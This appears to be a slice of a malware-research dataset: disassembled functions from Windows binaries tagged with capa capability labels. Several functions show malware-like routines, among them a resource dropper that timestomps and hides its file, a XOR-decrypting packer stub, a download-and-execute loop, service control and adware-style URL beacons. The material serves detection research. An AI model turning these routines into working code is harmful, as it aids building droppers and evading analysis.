joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d57
Capabilities:
Create http request
Read .ini file

Disassembly:
mov eax, 0x4078b8
call fcn.00407400
sub esp, 0x24
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 4], 2
push ebx
push ebx
push ebx
push ebx
push str.GOOGLE
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebx
je 0x403eaa
push edi
xor eax, eax
lea edi, [ebp - 0x2f]
mov byte [ebp - 0x30], bl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.adid
lea ecx, [ebp - 0x18]
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x18]
push eax
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::operator_1
push dword [ebp + 0x10]
lea eax, [ebp - 0x30]
push 0x10
push eax
push 0x40a7a8
push dword [ebp - 0x18]
push str.popwina
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push 0x40b254
lea ecx, [ebp - 0x10]
call fcn.004072c8
push str._clcount_count.asp_actiontanchuangmac
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 5
call fcn.0040705f
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push eax
mov byte [ebp - 4], 6
call fcn.0040708b
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 7
call fcn.004072ce
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::operator_1
push 0x40aa08
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::operator
lea eax, [ebp + 8]
lea ecx, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::operator_1
push ebx
push 0x80000000
push ebx
push ebx
push dword [ebp - 0x10]
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
pop edi
jne 0x403e7a
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 5
call fcn.00407084
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x406f1b
Capabilities:
Delete file
Extract resource via kernel32 functions
Get common file path
Move file
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
lea eax, [ebp - 0x128]
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x128]
push str._release.tmp
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
movzx eax, word [ebp + 0xc]
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov ebx, eax
xor esi, esi
cmp ebx, esi
je 0x406f98
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, esi
mov dword [ebp + 0xc], eax
je 0x406f98
push esi
push 0x80
push 2
push esi
push 2
lea eax, [ebp - 0x128]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, esi
jne 0x406f9f
xor eax, eax
jmp 0x407040
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20]
mov word [ebp - 0x10], 0x7d4
mov word [ebp - 0xe], 8
push eax
lea eax, [ebp - 0x10]
push eax
mov word [ebp - 0xa], 0x11
mov word [ebp - 8], 0x14
mov word [ebp - 6], si
call dword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_LocalFileTimeToFileTime]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x18]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
lea eax, [ebp - 0x24]
push esi
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + 0x14]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push 2
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x32f647d7
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x50757595
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x10017440
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xa
push dword [ebp + 8]
push dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1000a2c0
add esp, 8
push eax
call fcn.1000a0c0
add esp, 8
push 2
call dword [sym.imp.MSVCR120.dll_exit]
int3
Function at 0x404f51
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
mov eax, 0xf667
jbe 0x404f88
mov ecx, dword [esp + 8]
lea edx, [esi + ecx]
xor ecx, ecx
mov cl, ah
xor cl, byte [edx]
mov byte [edx], cl
movzx cx, cl
add ecx, eax
mov eax, 0x58bf
imul ecx, ecx, 0x3193
sub eax, ecx
inc esi
cmp esi, dword [esp + 0xc]
jb 0x404f5f
mov eax, esi
pop esi
ret 8

Function at 0x404f8e
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
mov edx, 0xf667
jbe 0x404fca
push ebx
mov eax, dword [esp + 0xc]
xor ebx, ebx
mov bl, dh
lea ecx, [esi + eax]
mov al, byte [esi + eax]
xor bl, al
movzx ax, al
add eax, edx
mov edx, 0x58bf
imul eax, eax, 0x3193
sub edx, eax
inc esi
cmp esi, dword [esp + 0x10]
mov byte [ecx], bl
jb 0x404f9d
pop ebx
mov eax, esi
pop esi
ret 8

Function at 0x404fd0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, dword [esp + 0xc]
push esi
xor esi, esi
push edi
cmp dword [0x40edec], esi
mov edi, dword [esp + 0xc]
not eax
jne 0x40501e
push ebx
mov edx, 0x40e9ec
push 8
mov ecx, esi
pop ebx
test cl, 1
je 0x405000
shr ecx, 1
xor ecx, 0xedb88320
jmp 0x405002
shr ecx, 1
dec ebx
jne 0x404ff1
mov dword [edx], ecx
add edx, 4
inc esi
cmp edx, 0x40edec
jb 0x404fec
mov dword [0x40edec], 1
pop ebx
mov ecx, dword [esp + 0x10]
mov edx, ecx
dec ecx
test edx, edx
je 0x405047
inc ecx
movzx esi, byte [edi]
mov edx, eax
and edx, 0xff
xor edx, esi
shr eax, 8
mov edx, dword [edx*4 + 0x40e9ec]
xor eax, edx
inc edi
dec ecx
jne 0x40502a
pop edi
pop esi
not eax
ret 0xc
Function at 0x4051ff
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
push edi
mov esi, ecx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
call fcn.0040504e
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x405241
xor eax, eax
jmp 0x405364
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40526a
push eax
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [ebp - 8], eax
lea ecx, [ebp - 4]
push ebx
push ecx
push dword [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0xc]
lea edi, [esi + 0xa4]
push eax
lea eax, [esi + 0x64]
push edi
push eax
push dword [ebp - 4]
mov ecx, esi
push dword [ebp - 8]
call fcn.004050a5
mov eax, dword [esi + 0xa8]
cmp eax, ebx
je 0x40529e
push eax
call sub.MFC42.DLL_operatordelete
pop ecx
cmp dword [ebp + 0xc], ebx
mov dword [esi + 0xa8], ebx
mov dword [esi + 0xac], ebx
je 0x4052e0
mov eax, dword [ebp - 0xc]
cmp eax, ebx
je 0x405350
push eax
mov dword [esi + 0xac], eax
call sub.MFC42.DLL_operatornew
push dword [esi + 0xac]
mov dword [esi + 0xa8], eax
push dword [ebp - 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
jmp 0x405350
cmp dword [esi + 0x88], ebx
mov dword [ebp + 8], ebx
jbe 0x405350
mov eax, dword [edi]
lea ecx, [eax + ebx]
mov eax, dword [eax + ebx + 4]
test eax, eax
je 0x40533d
cmp dword [ecx], 1
jne 0x40533d
cmp dword [ecx + 0x10], 0
je 0x40533d
push eax
mov dword [esi + 0xac], eax
call sub.MFC42.DLL_operatornew
push dword [esi + 0xac]
mov ecx, dword [edi]
mov dword [esi + 0xa8], eax
push dword [ecx + ebx + 0x10]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [edi]
add esp, 0x10
xor eax, eax
mov dword [ecx + ebx + 0x10], eax
mov ecx, dword [edi]
mov dword [ecx + ebx + 4], eax
mov ecx, dword [edi]
mov dword [ecx + ebx], eax
inc dword [ebp + 8]
add ebx, 0x18
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x88]
jb 0x4052eb
xor ebx, ebx
push dword [ebp - 8]
call sub.MFC42.DLL_operatordelete
xor eax, eax
cmp dword [esi + 0x88], ebx
pop ecx
setne al
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40570a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
xor ebx, ebx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov ax, word [ebp + 0x18]
xor esi, esi
cmp ax, 0xffff
mov dword [ebp - 4], ebx
mov dword [ebp - 0x58], 0x44
je 0x405749
mov word [ebp - 0x28], ax
mov dword [ebp - 0x2c], 1
cmp dword [ebp + 8], ebx
je 0x40575b
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
mov esi, eax
pop ecx
inc esi
inc esi
mov edi, dword [ebp + 0xc]
cmp edi, ebx
je 0x405770
cmp esi, ebx
je 0x405767
inc esi
push edi
call sub.MSVCRT.dll_strlen
pop ecx
add esi, eax
inc esi
push esi
call sub.MFC42.DLL_operatornew
push esi
xor esi, esi
mov ebx, eax
push esi
push ebx
call sub.MSVCRT.dll_memset
add esp, 0x10
cmp dword [ebp + 8], esi
je 0x4057b8
cmp edi, esi
je 0x4057a4
push edi
push dword [ebp + 8]
push str.__s___s
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
jmp 0x4057c1
push dword [ebp + 8]
push str.__s_
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
jmp 0x4057c1
push edi
push ebx
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push dword [ebp + 0x10]
push esi
push 0x30
push esi
push esi
push esi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4057e9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40580b
mov edi, dword [ebp + 0x14]
cmp edi, esi
je 0x4057f9
lea esi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jmp 0x405809
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
xor esi, esi
cmp ebx, esi
je 0x405816
push ebx
call sub.MFC42.DLL_operatordelete
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40581e
Capabilities:
Create directory
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
mov esi, ecx
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
mov byte [ebp - 0x114], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x217]
mov byte [ebp - 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x405891
lea eax, [ebp - 0x114]
push str.C:Temp
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x114]
pop ecx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x218]
push eax
push ebx
lea eax, [ebp - 0x114]
push str.dwl_
push eax
call edi
lea ecx, [esi + 4]
mov dword [ebp - 0x10], ecx
call fcn.00403bd4
cmp dword [esi + 0x88], ebx
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
jbe 0x405968
mov dword [ebp - 0xc], ebx
mov eax, dword [esi + 0xa4]
mov ecx, dword [ebp - 0xc]
add eax, ecx
cmp dword [eax + 4], ebx
je 0x405952
cmp dword [eax], 4
jne 0x405952
mov ecx, dword [ebp - 4]
push ebx
push ebx
push ebx
push dword [eax + 0x10]
call fcn.00403e5d
test eax, eax
je 0x405952
lea eax, [ebp - 0x218]
push eax
push ebx
lea eax, [ebp - 0x114]
push str.dwl_
push eax
call edi
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x218]
push eax
call fcn.00404107
mov ecx, dword [ebp - 4]
push 1
call fcn.0040448b
test eax, eax
je 0x40594a
push ebx
push ebx
push ebx
lea eax, [ebp - 0x218]
push ebx
push eax
call fcn.0040570a
add esp, 0x14
lea eax, [ebp - 0x218]
push 4
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov ecx, dword [ebp - 4]
call fcn.00404916
inc dword [ebp - 8]
add dword [ebp - 0xc], 0x18
mov eax, dword [ebp - 8]
cmp eax, dword [esi + 0x88]
jb 0x4058cd
push dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
call fcn.00403c0e
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40616c
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
push ebx
lea eax, [ebp - 4]
push esi
push eax
mov esi, ecx
xor ebx, ebx
push str.SOFTWARERepPopup
push closesocket
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4061e6
lea eax, [ebp - 8]
mov dword [ebp - 8], 8
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push str.BootTime
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
or eax, dword [ebp - 0x10]
je 0x4061dd
mov dword [ebp - 0xc], 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esi + 0x88]
xor edx, edx
cmp ecx, ebx
jbe 0x40620a
mov eax, dword [esi + 0xa4]
cmp dword [eax + 4], ebx
je 0x406202
cmp dword [eax], 2
je 0x40620a
inc edx
add eax, 0x18
cmp edx, ecx
jb 0x4061f8
cmp edx, ecx
jne 0x406215
xor eax, eax
jmp 0x4062b3
push edi
push 0x19
pop ecx
xor eax, eax
and byte [ebp - 0x188], al
lea edi, [ebp - 0x80]
mov dword [ebp - 0x84], ebx
push 0x40
rep stosd dword es:[edi], eax
pop ecx
lea edi, [ebp - 0x187]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x188]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea eax, [ebp - 0x188]
lea esi, [ebp - 0x188]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x4062af
lea edi, [ebp - 0x84]
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x40627b
mov dword [edi], esi
inc ebx
add edi, 4
push esi
call sub.MSVCRT.dll_strlen
lea esi, [esi + eax + 1]
push esi
call sub.MSVCRT.dll_strlen
pop ecx
test eax, eax
pop ecx
jne 0x406269
test ebx, ebx
je 0x4062af
lea esi, [ebp + ebx*4 - 0x84]
push dword [ebp + 8]
mov ecx, dword [ebp - 0x1c]
sub esi, 4
push dword [esi]
call fcn.004062b9
dec ebx
jne 0x40629c
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4070ae
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
push 6
xor ebx, ebx
pop ecx
xor eax, eax
push dword [ebp + 0xc]
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0xc], ebx
push dword [ebp + 8]
mov dword [ebp - 8], ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 8]
mov ecx, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
call fcn.00406faf
mov edi, eax
cmp edi, ebx
jne 0x40715f
cmp dword [ebp - 4], ebx
je 0x40715f
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x407157
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
call esi
test eax, eax
je 0x40713b
cmp dword [ebp - 0x2c], 2
jne 0x40713b
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
jmp 0x40711e
cmp dword [ebp - 0x2c], 4
je 0x407146
mov edi, 0x41d
cmp dword [ebp + 0x10], ebx
je 0x40715f
push dword [ebp + 0x10]
push dword [ebp - 4]
call esi
test eax, eax
jne 0x40715f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea eax, [ebp - 8]
mov ecx, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00407067
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x4071a3
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
push 6
xor ebx, ebx
pop ecx
xor eax, eax
push dword [ebp + 0x10]
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0xc], ebx
push dword [ebp + 0xc]
mov dword [ebp - 8], ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 8]
mov ecx, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
call fcn.00406faf
mov esi, eax
cmp esi, ebx
jne 0x407268
cmp dword [ebp - 4], ebx
je 0x407268
lea eax, [ebp - 0x30]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x407211
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x407268
cmp dword [ebp + 0x18], ebx
je 0x407252
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
call esi
test eax, eax
je 0x407240
cmp dword [ebp - 0x2c], 3
jne 0x407240
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
jmp 0x407223
cmp dword [ebp - 0x2c], 1
jne 0x40724a
xor esi, esi
jmp 0x407252
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp dword [ebp + 0x14], ebx
je 0x407268
lea eax, [ebp - 0x30]
push 0x1c
push eax
push dword [ebp + 0x14]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 8]
mov ecx, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00407067
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0x14

Function at 0x4072e7
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
mov esi, ecx
push edi
xor ebx, ebx
push 0x18
or dword [esi + 0x14], 0xffffffff
lea edi, [esi + 0x30]
push ebx
push edi
mov dword [esi], 0x40bed8
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
push edi
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call edi
lea eax, [esi + 0x18]
push 0x18
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [esi + 0x18]
push eax
call edi
push 0x63
xor eax, eax
pop ecx
lea edi, [ebp - 0x18e]
mov word [ebp - 0x190], bx
mov dword [esi + 0x48], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x190]
mov dword [esi + 0x4c], ebx
push eax
push 0x202
mov dword [esi + 0x50], ebx
mov dword [esi + 0x54], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x407374
mov dword [esi + 4], ebx
jmp 0x40737b
mov dword [esi + 4], 1
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40741b
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
cmp esi, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
je 0x40749e
cmp byte [esi], bl
je 0x40749e
push edi
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov edi, dword [ebp + 0xc]
cmp eax, 0xffffffff
mov dword [edi], eax
jne 0x40748c
lea eax, [ebp - 8]
push ebx
push eax
push ebx
push ebx
push 1
push esi
call sub.DNSAPI.dll_DnsQuery_A
mov ecx, dword [ebp - 8]
cmp ecx, ebx
jne 0x40746a
inc dword [ebp - 4]
cmp dword [ebp - 4], 0xa
jbe 0x40744b
cmp ecx, ebx
mov eax, ecx
je 0x40748c
cmp word [eax + 8], 1
je 0x40747f
mov eax, dword [eax]
cmp eax, ebx
jne 0x407470
jmp 0x407484
mov eax, dword [eax + 0x18]
mov dword [edi], eax
push 1
push ecx
call sub.DNSAPI.dll_DnsRecordListFree
cmp dword [edi], 0xffffffff
pop edi
jne 0x407499
mov dword [ebp - 0xc], 0x4bc
mov eax, dword [ebp - 0xc]
jmp 0x4074a1
push 0x57
pop eax
pop esi
pop ebx
leave
ret 8